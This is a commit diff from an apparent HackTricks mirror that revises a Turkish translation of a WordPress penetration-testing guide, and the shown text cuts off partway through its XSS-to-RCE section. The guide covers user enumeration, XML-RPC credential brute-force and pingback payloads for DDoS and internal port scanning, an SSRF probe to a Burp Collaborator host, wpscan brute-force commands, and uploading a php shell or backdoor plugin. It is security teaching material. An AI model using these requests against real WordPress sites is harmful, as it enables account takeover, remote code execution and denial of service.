mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
02264432c6
commit
ec388508fb
@ -4,49 +4,49 @@
|
|||||||
|
|
||||||
## Temel Bilgiler
|
## Temel Bilgiler
|
||||||
|
|
||||||
- **Uploaded** dosyaları şurada bulunur: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
- **Uploaded** dosyaları şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||||
- **Themes files can be found in /wp-content/themes/,** bu yüzden tema php'sini değiştirerek RCE elde etmeyi planlıyorsanız muhtemelen bu yolu kullanırsınız. Örneğin: **theme twentytwelve** kullanarak **404.php** dosyasına şu konumdan **access** edebilirsiniz: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
- **Themes files can be found in /wp-content/themes/,** bu yüzden tema içindeki bazı php dosyalarını değiştirip RCE elde etmeye çalışıyorsanız muhtemelen bu yolu kullanırsınız. Örneğin: **theme twentytwelve** kullanarak **404.php** dosyasına şu konumdan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
|
|
||||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
|
|
||||||
- **wp-config.php** içinde veritabanının root parolasını bulabilirsiniz.
|
- In **wp-config.php** veritabanının root parolasını bulabilirsiniz.
|
||||||
- Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
- Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||||
|
|
||||||
### **Ana WordPress Dosyaları**
|
### **Main WordPress Files**
|
||||||
|
|
||||||
- `index.php`
|
- `index.php`
|
||||||
- `license.txt` WordPress'in yüklü sürümü gibi faydalı bilgiler içerir.
|
- `license.txt` yüklü WordPress sürümü gibi faydalı bilgiler içerir.
|
||||||
- `wp-activate.php` yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.
|
- `wp-activate.php` yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.
|
||||||
- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
|
- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
|
||||||
- `/wp-admin/login.php`
|
- `/wp-admin/login.php`
|
||||||
- `/wp-admin/wp-login.php`
|
- `/wp-admin/wp-login.php`
|
||||||
- `/login.php`
|
- `/login.php`
|
||||||
- `/wp-login.php`
|
- `/wp-login.php`
|
||||||
- `xmlrpc.php` WordPress'in HTTP'yi taşıma mekanizması, XML'i ise kodlama mekanizması olarak kullanarak veri iletimine izin veren bir özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
|
- `xmlrpc.php` HTTP'yi taşıma mekanizması ve XML'i kodlama mekanizması olarak kullanarak veri iletimini sağlayan WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
|
||||||
- `wp-content` klasörü eklentilerin ve temaların saklandığı ana dizindir.
|
- `wp-content` klasörü eklentilerin ve temaların saklandığı ana dizindir.
|
||||||
- `wp-content/uploads/` platforma yüklenen herhangi bir dosyanın saklandığı dizindir.
|
- `wp-content/uploads/` platforma yüklenen dosyaların saklandığı dizindir.
|
||||||
- `wp-includes/` sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
|
- `wp-includes/` sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyalarının bulunduğu dizindir.
|
||||||
- `wp-sitemap.xml` WordPress 5.5 ve sonraki sürümlerde, tüm public gönderiler ve public olarak sorgulanabilir gönderi tipleri ve taksonomilerle birlikte bir sitemap XML dosyası oluşturur.
|
- `wp-sitemap.xml` Wordpress sürümleri 5.5 ve üzeri için tüm herkese açık yazılar ve herkese açık sorgulanabilir yazı tipleri ile taksonomiler içeren bir sitemap XML dosyası oluşturur.
|
||||||
|
|
||||||
**Post exploitation**
|
**Post exploitation**
|
||||||
|
|
||||||
- `wp-config.php` dosyası WordPress'in veritabanına bağlanmak için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys and salts ve veritabanı tablo öneki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu aktifleştirmek için de kullanılabilir; bu, sorun gidermede faydalı olabilir.
|
- `wp-config.php` dosyası WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys ve salts, ve veritabanı tablo ön eki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir; bu, sorun giderme sırasında faydalı olabilir.
|
||||||
|
|
||||||
### Kullanıcı İzinleri
|
### Kullanıcı Yetkileri
|
||||||
|
|
||||||
- **Administrator**
|
- **Yönetici**
|
||||||
- **Editor**: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
|
- **Editör**: Kendi ve başkalarının yazılarını yayınlar ve yönetir
|
||||||
- **Author**: Kendi gönderilerini yayınlar ve yönetir
|
- **Yazar**: Kendi yazılarını yayınlar ve yönetir
|
||||||
- **Contributor**: Gönderilerini yazar ve yönetir ama yayınlayamaz
|
- **Katkıda Bulunan**: Yazılarını yazar ve yönetir ancak yayınlayamaz
|
||||||
- **Subscriber**: Gönderilere göz atar ve profilini düzenleyebilir
|
- **Abone**: Yazıları görüntüler ve profilini düzenler
|
||||||
|
|
||||||
## **Pasif Enumerasyon**
|
## **Pasif Keşif**
|
||||||
|
|
||||||
### **Get WordPress version**
|
### **WordPress sürümünü öğrenme**
|
||||||
|
|
||||||
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin
|
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin.
|
||||||
|
|
||||||
Sayfanın **kaynak kodu** içinde (örnek from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
Sayfanın **kaynak kodu** içinde (örnek: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||||
|
|
||||||
- grep
|
- grep
|
||||||
```bash
|
```bash
|
||||||
@ -72,42 +72,42 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
|||||||
```bash
|
```bash
|
||||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||||
```
|
```
|
||||||
### Genel olarak sürümleri çıkar
|
### Genel olarak sürümleri çıkarma
|
||||||
```bash
|
```bash
|
||||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||||
|
|
||||||
```
|
```
|
||||||
## Aktif keşif
|
## Aktif keşif
|
||||||
|
|
||||||
### Plugins and Themes
|
### Eklentiler ve Temalar
|
||||||
|
|
||||||
Muhtemelen tüm Plugins and Themes'leri bulamayacaksınız. Bunların tamamını keşfetmek için **aktif olarak Plugins and Themes listesine Brute Force uygulamanız** gerekecek (umarız ki bu listeleri içeren otomatik araçlar vardır).
|
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Tümünü keşfetmek için **aktif olarak Eklentiler ve Temalar listesini Brute Force etmeniz** gerekecek (umarım bu listeleri içeren otomatik araçlar vardır).
|
||||||
|
|
||||||
### Kullanıcılar
|
### Kullanıcılar
|
||||||
|
|
||||||
- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz:
|
- **ID Brute:** Geçerli kullanıcıları bir WordPress sitesinden kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz:
|
||||||
```bash
|
```bash
|
||||||
curl -s -I -X GET http://blog.example.com/?author=1
|
curl -s -I -X GET http://blog.example.com/?author=1
|
||||||
```
|
```
|
||||||
Eğer yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, id **geçersiz**dir.
|
Eğer yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, id **geçersiz**dir.
|
||||||
|
|
||||||
- **wp-json:** Kullanıcılar hakkında bilgi edinmek için şu sorgulamayı da deneyebilirsiniz:
|
- **wp-json:** Kullanıcılar hakkında bilgi almak için şu sorguyu deneyebilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
curl http://blog.example.com/wp-json/wp/v2/users
|
curl http://blog.example.com/wp-json/wp/v2/users
|
||||||
```
|
```
|
||||||
Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek başka bir `/wp-json/` endpoint'i şudur:
|
Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek başka bir `/wp-json/` endpoint şudur:
|
||||||
```bash
|
```bash
|
||||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||||
```
|
```
|
||||||
Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**.
|
Note that this endpoint only exposes users that have made a post. **Sadece bu özelliği etkinleştirmiş kullanıcılara ait bilgiler sağlanacaktır**.
|
||||||
|
|
||||||
Ayrıca **/wp-json/wp/v2/pages** IP adreslerini leak edebilir.
|
Ayrıca **/wp-json/wp/v2/pages** IP adreslerini leak edebilir.
|
||||||
|
|
||||||
- **Login username enumeration**: **`/wp-login.php`**'e giriş yaparken **mesaj** **farklıdır**, bu **kullanıcı adı var mı yok mu** gösterir.
|
- **Login username enumeration**: **`/wp-login.php`**'ye giriş yaparken **mesaj** **farklıdır**; bu **kullanıcı adının var olup olmadığı** bilgisini gösterir.
|
||||||
|
|
||||||
### XML-RPC
|
### XML-RPC
|
||||||
|
|
||||||
Eğer `xml-rpc.php` aktifse kimlik bilgilerine yönelik brute-force yapabilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
Eğer `xml-rpc.php` aktifse credentials brute-force gerçekleştirebilir veya diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Örneğin bu süreci[ using this](https://github.com/relarizky/wpxploit) ile otomatikleştirebilirsiniz).
|
||||||
|
|
||||||
Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve bu isteği gönderin:
|
Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve bu isteği gönderin:
|
||||||
|
|
||||||
@ -122,7 +122,7 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den
|
|||||||
|
|
||||||
**Credentials Bruteforce**
|
**Credentials Bruteforce**
|
||||||
|
|
||||||
`wp.getUserBlogs`, `wp.getCategories` veya `metaWeblog.getUsersBlogs` credentials üzerinde brute-force yapmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız şu şekilde bir istek gönderebilirsiniz:
|
**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** credentials üzerinde brute-force yapmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şu gibi bir şey gönderebilirsiniz:
|
||||||
```html
|
```html
|
||||||
<methodCall>
|
<methodCall>
|
||||||
<methodName>wp.getUsersBlogs</methodName>
|
<methodName>wp.getUsersBlogs</methodName>
|
||||||
@ -132,13 +132,13 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den
|
|||||||
</params>
|
</params>
|
||||||
</methodCall>
|
</methodCall>
|
||||||
```
|
```
|
||||||
Kimlik bilgileri geçerli değilse, 200 kodlu yanıt içinde _"Incorrect username or password"_ mesajı görünmelidir.
|
Kimlik bilgileri geçersizse 200 kodlu yanıtta _"Yanlış kullanıcı adı veya parola"_ mesajı görünmelidir.
|
||||||
|
|
||||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol şu şekilde görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||||
```html
|
```html
|
||||||
<?xml version='1.0' encoding='utf-8'?>
|
<?xml version='1.0' encoding='utf-8'?>
|
||||||
<methodCall>
|
<methodCall>
|
||||||
@ -168,18 +168,18 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol
|
|||||||
</params>
|
</params>
|
||||||
</methodCall>
|
</methodCall>
|
||||||
```
|
```
|
||||||
Ayrıca aynı istekte birden fazla kimlik bilgisi deneyebildiğiniz için kimlik bilgilerini brute-force etmek için **daha hızlı bir yol** olan **`system.multicall`**'ı kullanabilirsiniz:
|
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||||
|
|
||||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Bypass 2FA**
|
**Bypass 2FA**
|
||||||
|
|
||||||
Bu yöntem programlar için tasarlanmıştır, insanlar için değil; ayrıca eski olduğu için 2FA'yı desteklemez. Bu yüzden geçerli creds'iniz varsa ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kötüye kullanarak bu creds'lerle 2FA'yı atlayarak giriş yapmayı deneyebilirsiniz**. Konsol üzerinden yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, ancak Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) videosunda açıkladığı gibi yine de RCE'ye ulaşabilirsiniz.
|
This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||||
|
|
||||||
**DDoS or port scanning**
|
**DDoS or port scanning**
|
||||||
|
|
||||||
Eğer listede _**pingback.ping**_ yöntemini bulabilirseniz Wordpress'in herhangi bir host/port'a keyfi bir istek göndermesini sağlayabilirsiniz.\
|
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||||
Bu, **binlerce** Wordpress **sitesi**ni bir **konuma** **erişmeye** (dolayısıyla o konumda bir **DDoS** oluşmasına) zorlamak için kullanılabilir veya **Wordpress**'i bazı dahili bir **ağ**'ı **tara**ması için kullanabilirsiniz (herhangi bir port belirtebilirsiniz).
|
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
|
||||||
```html
|
```html
|
||||||
<methodCall>
|
<methodCall>
|
||||||
<methodName>pingback.ping</methodName>
|
<methodName>pingback.ping</methodName>
|
||||||
@ -191,9 +191,9 @@ Bu, **binlerce** Wordpress **sitesi**ni bir **konuma** **erişmeye** (dolayısı
|
|||||||
```
|
```
|
||||||

|

|
||||||
|
|
||||||
Eğer **faultCode** değeri **0**'dan (17) **büyük** ise, bu portun açık olduğu anlamına gelir.
|
Eğer **faultCode** değeri **0**'dan (17) **daha büyük** ise, bu portun açık olduğu anlamına gelir.
|
||||||
|
|
||||||
Önceki bölümdeki **`system.multicall`** kullanımına bakın; bu yöntemi DDoS için nasıl kötüye kullanabileceğinizi öğrenin.
|
Önceki bölümde **`system.multicall`** kullanımına göz atın; bu yöntemi DDoS oluşturmak için nasıl kötüye kullanacağınızı öğrenin.
|
||||||
|
|
||||||
**DDoS**
|
**DDoS**
|
||||||
```html
|
```html
|
||||||
@ -209,15 +209,15 @@ Eğer **faultCode** değeri **0**'dan (17) **büyük** ise, bu portun açık old
|
|||||||
|
|
||||||
### wp-cron.php DoS
|
### wp-cron.php DoS
|
||||||
|
|
||||||
This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
|
Bu dosya genellikle Wordpress sitesinin kök dizininde bulunur: **`/wp-cron.php`**\
|
||||||
When this file is **accessed** a "**heavy**" MySQL **query** is performed, so I could be used by **attackers** to **cause** a **DoS**.\
|
Bu dosya **erişildiğinde** "**ağır**" bir MySQL **query** çalıştırılır; bu yüzden **attackers** bir **DoS** oluşturmak için bunu kullanabilir.\
|
||||||
Also, by default, the `wp-cron.php` is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).
|
Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklenmesinde (bir client herhangi bir Wordpress sayfasını istediğinde) çağrılır; bu da yüksek trafikli sitelerde sorunlara (DoS) yol açabilir.
|
||||||
|
|
||||||
It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
|
Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla (sorun yaratmadan) gerçekleştirecek gerçek bir cronjob'un host üzerinde oluşturulması önerilir.
|
||||||
|
|
||||||
### /wp-json/oembed/1.0/proxy - SSRF
|
### /wp-json/oembed/1.0/proxy - SSRF
|
||||||
|
|
||||||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
|
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Wordpress site may make a request to you.
|
||||||
|
|
||||||
This is the response when it doesn't work:
|
This is the response when it doesn't work:
|
||||||
|
|
||||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
|||||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunun olup olmadığını kontrol eder ve mevcutlarsa bunları exploit etmeye çalışır.
|
Bu araç **methodName: pingback.ping** için ve **/wp-json/oembed/1.0/proxy** path'i için kontrol eder; eğer mevcutsa onları exploit etmeye çalışır.
|
||||||
|
|
||||||
## Otomatik Araçlar
|
## Otomatik Araçlar
|
||||||
```bash
|
```bash
|
||||||
@ -238,55 +238,55 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
|||||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||||
```
|
```
|
||||||
## Bir biti değiştirerek erişim elde etme
|
## Bir biti değiştirerek erişim sağlama
|
||||||
|
|
||||||
Gerçek bir saldırıdan çok bu bir merak örneğidir. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti çevirebiliyordunuz. Böylece `/var/www/html/wp-includes/user.php` dosyasındaki `5389` pozisyonundaki biti NOT (`!`) işlemini NOPlamak için çevirebilirdiniz.
|
Gerçek bir saldırıdan çok bir merak konusu. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasındaki 1 biti çevirebiliyordunuz. Bu yüzden `/var/www/html/wp-includes/user.php` dosyasının `5389` konumundaki biti NOP yaparak NOT (`!`) operasyonunu devre dışı bırakabilirdiniz.
|
||||||
```php
|
```php
|
||||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||||
return new WP_Error(
|
return new WP_Error(
|
||||||
```
|
```
|
||||||
## **Panel RCE**
|
## **Panel RCE**
|
||||||
|
|
||||||
**Kullanılan temadan bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)**
|
**Kullanılan tema içindeki bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)**
|
||||||
|
|
||||||
Appearance → Theme Editor → 404 Template (sağda)
|
Appearance → Theme Editor → 404 Template (sağda)
|
||||||
|
|
||||||
İçeriği php shell içerecek şekilde değiştirin:
|
İçeriği bir php shell için değiştirin:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Güncellenen sayfaya nasıl erişileceğini internette araştırın. Bu durumda şu adrese erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
Güncellenen sayfaya nasıl erişileceğini internette araştırın. Bu durumda şuraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
|
|
||||||
### MSF
|
### MSF
|
||||||
|
|
||||||
Kullanabilirsiniz:
|
Şunu kullanabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
use exploit/unix/webapp/wp_admin_shell_upload
|
use exploit/unix/webapp/wp_admin_shell_upload
|
||||||
```
|
```
|
||||||
bir oturum elde etmek için.
|
oturum elde etmek için.
|
||||||
|
|
||||||
## Plugin RCE
|
## Plugin RCE
|
||||||
|
|
||||||
### PHP plugin
|
### PHP plugin
|
||||||
|
|
||||||
.php dosyalarını bir plugin olarak yüklemek mümkün olabilir.\
|
.php dosyalarını bir plugin olarak yüklemek mümkün olabilir.\
|
||||||
Örneğin php backdoor'unuzu şu şekilde oluşturun:
|
Örneğin şu şekilde php backdoor oluşturun:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Sonra yeni bir eklenti ekleyin:
|
Sonra yeni bir plugin ekleyin:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Eklentiyi yükleyin ve "Install Now" butonuna basın:
|
Plugin'i yükleyin ve Install Now'a basın:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
"Procced"e tıklayın:
|
Procced'e tıklayın:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Büyük olasılıkla görünürde hiçbir şey olmayacaktır, ancak Media'ya giderseniz yüklenen shell'i göreceksiniz:
|
Muhtemelen görünürde herhangi bir şey olmayacaktır, ancak Media'ya giderseniz shell'inizin yüklendiğini göreceksiniz:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -296,30 +296,30 @@ Erişin ve reverse shell'i çalıştırmak için URL'yi göreceksiniz:
|
|||||||
|
|
||||||
### Uploading and activating malicious plugin
|
### Uploading and activating malicious plugin
|
||||||
|
|
||||||
Bu yöntem, bilinen zafiyetli ve web shell elde etmek için sömürülebilecek kötü amaçlı bir eklentinin kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir:
|
Bu yöntem, bilinen zafiyete sahip kötü amaçlı bir plugin'in kurulmasını ve web shell elde etmek için sömürülmesini içerir. Bu süreç WordPress dashboard'u üzerinden şu şekilde gerçekleştirilir:
|
||||||
|
|
||||||
1. **Plugin Acquisition**: Eklenti, Exploit DB gibi bir kaynaktan edinilir, örneğin [**here**](https://www.exploit-db.com/exploits/36374).
|
1. **Plugin Acquisition**: Plugin, Exploit DB gibi bir kaynaktan edinilir; örneğin [**here**](https://www.exploit-db.com/exploits/36374).
|
||||||
2. **Plugin Installation**:
|
2. **Plugin Installation**:
|
||||||
- WordPress dashboard'a gidin, sonra `Dashboard > Plugins > Upload Plugin` yolunu izleyin.
|
- WordPress dashboard'ına gidin, ardından `Dashboard > Plugins > Upload Plugin` yolunu izleyin.
|
||||||
- İndirilen eklentinin zip dosyasını yükleyin.
|
- İndirilen plugin'in zip dosyasını yükleyin.
|
||||||
3. **Plugin Activation**: Eklenti başarıyla yüklendikten sonra dashboard üzerinden aktifleştirilmelidir.
|
3. **Plugin Activation**: Plugin başarılı şekilde yüklendikten sonra dashboard üzerinden etkinleştirilmelidir.
|
||||||
4. **Exploitation**:
|
4. **Exploitation**:
|
||||||
- "reflex-gallery" eklentisi yüklü ve aktif olduğunda, bilindiği üzere zafiyetli olduğu için sömürülebilir.
|
- "reflex-gallery" plugin'i yüklendiğinde ve etkinleştirildiğinde, bilinen bir zafiyet nedeniyle sömürülebilir.
|
||||||
- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak siteye yetkisiz erişim sağlayan bir meterpreter oturumu kurulabilir.
|
- Metasploit framework bu zafiyet için bir exploit sunar. Uygun modülü yükleyip belirli komutları çalıştırarak bir meterpreter session kurulabilir ve siteye yetkisiz erişim sağlanabilir.
|
||||||
- Bu, bir WordPress sitesini sömürmek için kullanılan birçok yöntemden sadece biridir.
|
- Bu, WordPress sitesini sömürmek için kullanılabilecek birçok yöntemden sadece biridir.
|
||||||
|
|
||||||
İçerik, eklentiyi yükleme ve aktifleştirme adımlarını gösteren görsel açıklamalar içerir. Ancak, bu şekilde zafiyetleri sömürmenin yetki olmadan yasa dışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi sorumlu şekilde ve sadece yasal bir bağlamda, örneğin açık izinle yapılan penetration testing gibi durumlarda kullanılmalıdır.
|
İçerik, plugin'in yüklenmesi ve etkinleştirilmesi adımlarını gösteren WordPress dashboard görüntülerini içermektedir. Ancak, bu şekilde zafiyetleri sömürmenin uygun yetki olmadan yasa dışı ve etik dışı olduğunu unutmamak önemlidir. Bu bilgi, yalnızca yetkili bir bağlamda, örneğin açık izinli penetration testing gibi yasal çerçevede sorumlu şekilde kullanılmalıdır.
|
||||||
|
|
||||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||||
|
|
||||||
## From XSS to RCE
|
## From XSS to RCE
|
||||||
|
|
||||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ WordPress'te bir **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir script'tir. Daha fazla bilgi için [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)'a bakın. WordPress Versions 6.X.X, 5.X.X and 4.X.X için destek sağlar ve şunlara izin verir:
|
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||||
- _**Privilege Escalation:**_ WordPress'te bir kullanıcı oluşturur.
|
